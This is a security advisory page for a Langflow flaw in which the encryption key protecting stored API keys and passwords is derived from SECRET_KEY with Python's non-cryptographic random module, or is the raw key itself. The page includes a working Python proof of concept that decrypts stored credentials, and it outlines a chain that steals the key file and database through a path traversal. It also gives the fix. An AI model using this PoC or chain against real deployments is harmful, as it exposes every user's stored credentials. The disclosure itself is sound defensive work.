PYSEC-2026-4235
Vulnerability from pysec - Published: 2026-10-15 10:22 - Updated: 2026-10-15 14:37Summary
Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRET_KEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRET_KEY is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRET_KEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.
Even when SECRET_KEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the secret_key file is sufficient to decrypt all credentials without any additional computation.
Severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data
Details
Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663
MINIMUM_KEY_LENGTH = 32
def _ensure_valid_key(self, raw_key: str) -> bytes:
if len(raw_key) < MINIMUM_KEY_LENGTH:
random.seed(raw_key) # Non-cryptographic PRNG seeded with the secret
key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output
key = base64.urlsafe_b64encode(key)
else:
key = self._add_padding(raw_key).encode() # Raw secret IS the Fernet key
return key
def _get_fernet(self) -> Fernet:
secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value()
valid_key = self._ensure_valid_key(secret_key)
return Fernet(valid_key)
The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.create_variable and update_variable).
What is encrypted under this key:
All variables stored with type = "Credential" — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:
# services/variable/service.py
encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value
Why this is critical in combination with the MCP path traversal:
The secret_key file is stored at /app/data/.cache/langflow/secret_key — readable via the MCP path traversal vulnerability. Once exfiltrated:
- If len(secret_key) < 32: run random.seed(secret_key) → derive identical key → decrypt all credentials instantly
- If len(secret_key) >= 32: pad the key directly → decrypt all credentials instantly
No brute force needed in either case once the file is read.
PoC
#!/usr/bin/env python3
# Requires: pip install cryptography
import random
import base64
from cryptography.fernet import Fernet
# --- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch
def decrypt_short_key(secret_key: str, ciphertext: str) -> str:
random.seed(secret_key)
key_bytes = bytes(random.getrandbits(8) for _ in range(32))
fernet_key = base64.urlsafe_b64encode(key_bytes)
return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()
# --- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario
def decrypt_long_key(secret_key: str, ciphertext: str) -> str:
padding_needed = 4 - len(secret_key) % 4
padded = secret_key + "=" * padding_needed
return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()
# Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated)
# and from SELECT value FROM variable WHERE type='Credential' in langflow.db
SECRET_KEY = "DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E" # 43 chars → long branch
CIPHERTEXT = "gAAAAABpux-Gz_3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVG_GgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWy_sPsKPLBr_i5ZOPAAP2c5EKkx5vtc1M="
plaintext = decrypt_long_key(SECRET_KEY, CIPHERTEXT)
print(f"Decrypted credential: {plaintext}")
# Output: sk-test-SENTINEL-VALUE-12345
Confirmed on Langflow v1.7.3:
- Database path: /app/.venv/lib/python3.12/site-packages/langflow/langflow.db
- Two Credential-type variables found in the variable table
- Both decrypted successfully: "dummy" and "sk-test-SENTINEL-VALUE-12345"
- The sentinel value (sk-test-SENTINEL-VALUE-12345) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltrated secret_key
End-to-end chain (with MCP path traversal):
# Step 1: Exfiltrate secret_key via MCP path traversal (no admin required, any authenticated user)
# Step 2: Query DB credentials via path traversal (SQLite file readable)
# Step 3: Decrypt offline — zero brute force, instant
python3 poc_decrypt.py "$SECRET_KEY" "$CIPHERTEXT"
# → all stored API keys revealed
Impact
All stored user credentials are at risk in any Langflow deployment where an attacker can read the secret_key file. Combined with the MCP path traversal vulnerability, this creates a complete remote credential exfiltration chain requiring only a low-privilege account:
- OpenAI, Anthropic, and other LLM provider API keys stored by any user are decryptable
- Database connection strings and passwords stored as credentials are exposed
- OAuth tokens and webhook secrets stored via the Variables UI are exposed
- All users on the instance are affected — credentials are stored per-user in the shared database but all encrypted under the same instance-wide
SECRET_KEY
In multi-tenant or enterprise Langflow deployments, a single attacker account is sufficient to exfiltrate every credential stored by every user on the instance. The attack is fully offline after the two file reads (secret_key + database), leaving no server-side log traces.
Fix
Fixed in v1.10.1 by PR #13704 (commit 094694d3f2).
ensure_fernet_key() (src/backend/base/langflow/services/auth/utils.py) no longer seeds Python's non-cryptographic random module for short SECRET_KEY values. The 32-byte key is now derived deterministically with SHA-256:
def ensure_fernet_key(secret_key: str) -> bytes:
if len(secret_key) < MINIMUM_SECRET_KEY_LENGTH:
digest = hashlib.sha256(secret_key.encode()).digest() # 32 bytes
key = base64.urlsafe_b64encode(digest)
else:
key = add_base64_padding(secret_key).encode()
return key
Backward-compatible decryption of ciphertext written under the old PRNG-derived key is preserved via get_fernet_for_decryption(), which returns a MultiFernet trying the new SHA-256 key first and a legacy key second. The legacy key is reproduced with a local random.Random(secret_key) instance (not the global random module), so it can decrypt old data without ever being usable to derive new keys or mutating global PRNG state. All new encryption goes through the SHA-256 key only.
Affected versions: <= 1.10.0 Patched version: 1.10.1
Operator note: deployments running with a SECRET_KEY shorter than 32 characters derive a different Fernet key after upgrading to 1.10.1+ and must re-enter previously stored credentials (existing ciphertext is still readable for migration, but new writes use the new key). The default generated SECRET_KEY (secrets.token_urlsafe(32), 43 characters) takes the long-key branch and was never affected by the PRNG issue.
| Name | purl | langflow | pkg:pypi/langflow |
|---|
{
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{
"package": {
"ecosystem": "PyPI",
"name": "langflow",
"purl": "pkg:pypi/langflow"
},
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{
"events": [
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"introduced": "0"
},
{
"fixed": "1.10.1"
}
],
"type": "ECOSYSTEM"
}
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],
"aliases": [
"CVE-2026-9205",
"GHSA-jxw3-mjmx-3pqm"
],
"details": "### Summary\n\nLangflow uses Python\u0027s `random` module (Mersenne Twister, a non-cryptographic PRNG) seeded with the `SECRET_KEY` to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the `SECRET_KEY` is shorter than 32 characters \u2014 a common scenario for self-hosted deployments using simple/memorable secrets \u2014 the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the `SECRET_KEY` (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.\n\nEven when `SECRET_KEY` is 32+ characters (the \"safe\" branch), the raw key material is used directly as the Fernet key \u2014 meaning exfiltrating the `secret_key` file is sufficient to decrypt all credentials without any additional computation.\n\n**Severity:** Critical \u2014 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1)\n**CWE-338:** Weak PRNG | **CWE-321:** Hard-coded Cryptographic Key | **CWE-311:** Missing Encryption of Sensitive Data\n\n### Details\n\n**Root cause: `src/backend/base/langflow/services/auth/service.py`, lines 651\u2013663**\n\n```python\nMINIMUM_KEY_LENGTH = 32\n\ndef _ensure_valid_key(self, raw_key: str) -\u003e bytes:\n if len(raw_key) \u003c MINIMUM_KEY_LENGTH:\n random.seed(raw_key) # Non-cryptographic PRNG seeded with the secret\n key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output\n key = base64.urlsafe_b64encode(key)\n else:\n key = self._add_padding(raw_key).encode() # Raw secret IS the Fernet key\n return key\n\ndef _get_fernet(self) -\u003e Fernet:\n secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value()\n valid_key = self._ensure_valid_key(secret_key)\n return Fernet(valid_key)\n```\n\nThe identical logic is duplicated in `src/backend/base/langflow/services/auth/utils.py`, lines 292\u2013318 (called by `DatabaseVariableService.create_variable` and `update_variable`).\n\n**What is encrypted under this key:**\nAll variables stored with `type = \"Credential\"` \u2014 this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:\n\n```python\n# services/variable/service.py\nencrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value\n```\n\n**Why this is critical in combination with the [MCP path traversal](https://github.com/langflow-ai/langflow/security/advisories/GHSA-95rw-c7w3-xh7f):**\nThe `secret_key` file is stored at `/app/data/.cache/langflow/secret_key` \u2014 readable via the MCP path traversal vulnerability. Once exfiltrated:\n- If `len(secret_key) \u003c 32`: run `random.seed(secret_key)` \u2192 derive identical key \u2192 decrypt all credentials instantly\n- If `len(secret_key) \u003e= 32`: pad the key directly \u2192 decrypt all credentials instantly\n\nNo brute force needed in either case once the file is read.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n# Requires: pip install cryptography\n\nimport random\nimport base64\nfrom cryptography.fernet import Fernet\n\n# --- Scenario A: SHORT secret key (\u003c 32 chars) --- triggers vulnerable PRNG branch\ndef decrypt_short_key(secret_key: str, ciphertext: str) -\u003e str:\n random.seed(secret_key)\n key_bytes = bytes(random.getrandbits(8) for _ in range(32))\n fernet_key = base64.urlsafe_b64encode(key_bytes)\n return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()\n\n# --- Scenario B: LONG secret key (\u003e= 32 chars) --- key exfiltration scenario\ndef decrypt_long_key(secret_key: str, ciphertext: str) -\u003e str:\n padding_needed = 4 - len(secret_key) % 4\n padded = secret_key + \"=\" * padding_needed\n return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()\n\n# Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated)\n# and from SELECT value FROM variable WHERE type=\u0027Credential\u0027 in langflow.db\nSECRET_KEY = \"DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E\" # 43 chars \u2192 long branch\nCIPHERTEXT = \"gAAAAABpux-Gz_3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVG_GgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWy_sPsKPLBr_i5ZOPAAP2c5EKkx5vtc1M=\"\n\nplaintext = decrypt_long_key(SECRET_KEY, CIPHERTEXT)\nprint(f\"Decrypted credential: {plaintext}\")\n# Output: sk-test-SENTINEL-VALUE-12345\n```\n\n**Confirmed on Langflow v1.7.3:**\n- Database path: `/app/.venv/lib/python3.12/site-packages/langflow/langflow.db`\n- Two `Credential`-type variables found in the `variable` table\n- Both decrypted successfully: `\"dummy\"` and `\"sk-test-SENTINEL-VALUE-12345\"`\n- The sentinel value (`sk-test-SENTINEL-VALUE-12345`) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltrated `secret_key`\n\n**End-to-end chain (with MCP path traversal):**\n```bash\n# Step 1: Exfiltrate secret_key via MCP path traversal (no admin required, any authenticated user)\n# Step 2: Query DB credentials via path traversal (SQLite file readable)\n# Step 3: Decrypt offline \u2014 zero brute force, instant\npython3 poc_decrypt.py \"$SECRET_KEY\" \"$CIPHERTEXT\"\n# \u2192 all stored API keys revealed\n```\n\n### Impact\n\nAll stored user credentials are at risk in any Langflow deployment where an attacker can read the `secret_key` file. Combined with the MCP path traversal vulnerability, this creates a complete remote credential exfiltration chain requiring only a low-privilege account:\n\n- **OpenAI, Anthropic, and other LLM provider API keys** stored by any user are decryptable\n- **Database connection strings and passwords** stored as credentials are exposed\n- **OAuth tokens and webhook secrets** stored via the Variables UI are exposed\n- **All users on the instance** are affected \u2014 credentials are stored per-user in the shared database but all encrypted under the same instance-wide `SECRET_KEY`\n\nIn multi-tenant or enterprise Langflow deployments, a single attacker account is sufficient to exfiltrate every credential stored by every user on the instance. The attack is fully offline after the two file reads (secret_key + database), leaving no server-side log traces.\n\n\n### Fix\n\nFixed in **v1.10.1** by PR [#13704](https://github.com/langflow-ai/langflow/pull/13704) (commit `094694d3f2`).\n\n`ensure_fernet_key()` (`src/backend/base/langflow/services/auth/utils.py`) no longer seeds Python\u0027s non-cryptographic `random` module for short `SECRET_KEY` values. The 32-byte key is now derived deterministically with SHA-256:\n\n```python\ndef ensure_fernet_key(secret_key: str) -\u003e bytes:\n if len(secret_key) \u003c MINIMUM_SECRET_KEY_LENGTH:\n digest = hashlib.sha256(secret_key.encode()).digest() # 32 bytes\n key = base64.urlsafe_b64encode(digest)\n else:\n key = add_base64_padding(secret_key).encode()\n return key\n```\n\nBackward-compatible decryption of ciphertext written under the old PRNG-derived key is preserved via `get_fernet_for_decryption()`, which returns a `MultiFernet` trying the new SHA-256 key first and a legacy key second. The legacy key is reproduced with a local `random.Random(secret_key)` instance (not the global `random` module), so it can decrypt old data without ever being usable to derive new keys or mutating global PRNG state. All new encryption goes through the SHA-256 key only.\n\n**Affected versions:** \u003c= 1.10.0\n**Patched version:** 1.10.1\n\n**Operator note:** deployments running with a `SECRET_KEY` shorter than 32 characters derive a different Fernet key after upgrading to 1.10.1+ and must re-enter previously stored credentials (existing ciphertext is still readable for migration, but new writes use the new key). The default generated `SECRET_KEY` (`secrets.token_urlsafe(32)`, 43 characters) takes the long-key branch and was never affected by the PRNG issue.",
"id": "PYSEC-2026-4235",
"modified": "2026-10-15T14:37:45.325650Z",
"published": "2026-10-15T10:22:44.298291Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-jxw3-mjmx-3pqm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9205"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/pull/13704"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/commit/094694d3f20c1da499f4d8dbac15c510609e3026"
},
{
"type": "PACKAGE",
"url": "https://github.com/langflow-ai/langflow"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7282648"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/langflow"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-jxw3-mjmx-3pqm"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Langflow: Weak Fernet Key via random.seed()"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.